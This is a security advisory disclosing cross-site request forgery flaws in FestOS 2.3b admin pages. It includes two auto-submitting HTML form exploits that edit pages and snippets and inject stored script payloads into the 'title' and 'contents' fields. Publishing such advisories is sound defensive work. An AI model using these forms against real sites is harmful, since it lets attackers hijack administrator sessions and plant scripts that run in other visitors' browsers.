Cross-site Request Forgery (CSRF) Vulnerabilities in FestOS
| Advisory ID: | HTB22472 |
| Product: | FestOS |
| Vendor: | Skypanther Studios, Inc |
| Vulnerable Versions: | 2.3b and probably prior |
| Tested Version: | 2.3b |
| Advisory Publication: | July 1, 2010 [without technical details] |
| Vendor Notification: | July 1, 2010 |
| Public Disclosure: | July 15, 2010 |
| Vulnerability Type: | Cross-Site Request Forgery [CWE-352] |
| Risk Level: | Medium |
|  |
| CVSSv2 Base Score: | 4 (AV:N/AC:H/Au:N/C:N/I:P/A:P) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
|
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in FestOS which could be exploited to perform cross-site request forgery attacks.
1) Cross-site request forgery (CSRF) in FestOS
1.1 The vulnerability exists due to insufficient validation of the request origin in admin/do_pages_edit.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit pages. Due to insufficient sanitation of input data in the "title" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/do_pages_edit.php" method="post" name="main" >
<input type="hidden" name="pageID" value="2" />
<input type="hidden" name="title" value='title"><script>alert(document.cookie)</script>' />
<input type="hidden" name="alias" value="home" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="contents" value='page content here...' />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin in admin/do_snippets_edit.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify snippets. Due to insufficient sanitation of input data in the "contents" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/do_snippets_edit.php?tabname=Pages" method="post" name="main" >
<input type="hidden" name="snippetID" value="1" />
<input type="hidden" name="title" value="Site footer" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="contents" value='footer"><script>alert(document.cookie)</script>' />
</form>
<script>
document.main.submit();
</script>
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Solution: |
| Upgrade to version 2.3c. |
| |
References: |
[1] High-Tech Bridge Advisory HTB22472 - https://www.immuniweb.com/advisory/HTB22472 - Cross-site Request Forgery (CSRF) Vulnerabilities in FestOS
[2] FestOS - festengine.org - FestOS, the open source festival engine, is the modern and complete web solution to managing your arts and crafts festival.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
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